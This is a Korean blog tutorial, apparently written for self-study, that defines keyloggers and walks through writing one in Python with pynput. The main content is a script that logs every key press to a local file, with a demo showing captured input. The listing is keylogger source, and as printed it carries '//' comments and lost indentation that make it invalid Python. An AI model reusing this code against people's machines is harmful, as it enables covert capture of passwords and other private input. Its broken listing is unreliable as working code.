제목과 같이 오늘은 파이썬을 사용해서 키로거를 제작을 한번 해볼려고 합니다.
단, 단순히 개인적인 공부목적으로 활용하는것이고 악의적인 의도는 없습니다.
(코드를 보면 간단해서 알 수 있을겁니다)
이제 키로거를 한번 만들어볼텐데 일단 그럼 키로거가 뭔지는 알아야겠죠?
Key Logger 키로거란?
컴퓨터가 받아들이는 입력 정보의 기록, 주로 키보드를 통한 입력의 데이터를 중간에 가로채는 해킹을 말한다.
대개 사용자의 동의 없이 기록을 만들고 전송하는 방식의 크래킹 도구로 쓰인다.
따라서 공격자가 피해자의 컴퓨터에 몰래 심어놓고 피해자의 컴퓨터에 키보드 입력을 받는다면 공격자는
피해자의 컴퓨터의 암호를 쉽게 알 수 있겠죠?
한번 키로거를 제작을 해보고 분석하는 것으로 진행해보려고 합니다 .
제목에서도 알 수 있듯이 파이썬을 사용해야하니, 관련 모듈을 한번 보겠습니다.
Pynput
pynput 이란, 키보드와 마우스를 제어할 수 있는 파이썬 라이브러리이다.
이 라이브러리를 통해 키보드와 마우스 입력을 하고, 리스너 등록을 통해 키보드와 마우스로부터 들어오는
값을 가져올 수도 있다.
그렇다면 Pynput 라이브러리를 통해서 키보드를 제어한다고 가정하면 키로거를 만들 수 있을거 같습니다.
한번 설치를 해보겠습니다,
pip install pynput
이제 설치를 완료하였으니 키보드로 입력을 받아오는 코드를 작성해보도록 합시다.
from pynput import keyboard // pynput 라이브러리
def keyPressed(key): // 키보드 입력 받아오기
print(str(key))
with open("keyfile.txt",'a') as logkey: // 키로그를 Keyfile.txt 파일에 저장
try:
char =key.char
logkey.write(char)
except:
print("Error getting char")
if __name__ == "__main__":
listener = keyboard.Listener(on_press=keyPressed)
listener.start()
input()
실행을 시켜주면??
문자열로 facebook을 입력했을때 각각의 문자를 정확하게 받아오고 특수키가 'Enter' 같은 것들이 입력이 되었을때는
특수키가 입력이 된것으로 잘 받아오고 있습니다.
이것으로 잘 돌아가는 것을 알 수 있습니다.